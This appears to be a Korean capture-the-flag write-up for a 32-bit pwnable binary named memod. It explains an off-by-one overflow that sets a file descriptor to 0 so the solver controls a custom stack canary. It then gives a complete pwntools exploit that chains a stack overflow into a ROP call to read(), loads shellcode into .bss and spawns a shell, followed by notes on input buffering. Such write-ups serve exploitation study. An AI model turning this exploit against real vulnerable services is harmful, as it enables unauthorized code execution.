문제


memod 바이너리의 checksec 결과는 다음과 같다.

CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

file 명령어 결과는 다음과 같다.

memod: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=0609d9d923e140f16f00fe4df883f8250b195222, not stripped

바이너리 코드

...
char s; // [ebp-128h]
char file[32]; // [ebp-28h]
int fd; // [ebp-8h]
int s2;
...
for(i=0;i<=32;++i)
{
    s=getchar();
    if((unsigned int)(s-48) > 9)
    {
        file[i]=0;
        break;
    }
    file[i]=s;
}
if(!file[0])
{
    ...
    exit(0);
}
read(fd,&canary_backup,4u);
s2=canary_backup;
...
fgets(&s,512,stdin);
...
if(memcmp(&canary_backup,&s2,4u))
{
    ...
    exit(-1);
}
return 0

for문에서 1byte overflow가 발생한다. 이를 통해서 fd에 1byte 값을 덮어쓸 수 있기 때문에 fd를 내가 원하는 값으로 변경할 수 있다. (파일 디스크립터는 사용하지 않는 가장 작은 파일 디스크립터 번호를 할당받는다. 0,1,2는 stdin, stdout, stderr)

fgets 함수에서 buffer overflow가 발생한다.

그리고 NX가 diabled되어 있기 때문에 bss 영역에서 shellcode를 실행할 수 있다.

exploit 방법

  1. 1byte overflow를 통해서 fd를 0으로 바꾼다. 이를 통해서 canary값을 내 입력값으로 바꿀 수 있다.
  2. canary값을 알고 있기 때문에 fgets 함수에서 발생하는 buffer overflow로 eip를 컨트롤 할 수 있다.

풀이


#!/usr/bin/python

from pwn import *
import time

file_path="/home/sungyun/round2/memod/memod"

p=process(file_path)

read_plt=0x80484f0
pppr=0x08048836
bss_sec=0x8049b90

shell = asm(shellcraft.sh())

pay="7"*32+"A"  # 1byte bof -> fd = 0

p.send(pay)
time.sleep(0.5)
p.send("AAAA") # canary = 0x41414141

p.recvuntil(";p\n")

pay2="A"*300
pay2+=p32(read_plt)
pay2+=p32(pppr)
pay2+=p32(0)
pay2+=p32(bss_sec)
pay2+=p32(0x100)
pay2+=p32(bss_sec)

p.sendline(pay2)
time.sleep(0.5)
p.send(shell)

p.interactive()

알게 된 것


  1. fgets / gets / scanf/ getchar 등의 함수는 입력 버퍼를 가지고 있다. 따라서 입력 버퍼에 저장되어 있는 입력값들을 입력으로 받는다. 하지만 read(0,&buf,0x100) 는 입력 버퍼에서 입력값을 읽어오는 것이 아니라 해당 함수가 호출된 이후에 들어오는 입력을 받는다.
    => fgets와 같은 함수로 입력을 받은 뒤 바로 read함수를 호출하는 경우 send 사이에 time.sleep()을 넣어줘야 한다.

  2. fgets, scanf, gets는 엔터까지 입력을 받기 때문에 .sendline으로 입력을 넣어줘야 한다. getchar, read 함수는 .send로 입력을 넣어준다.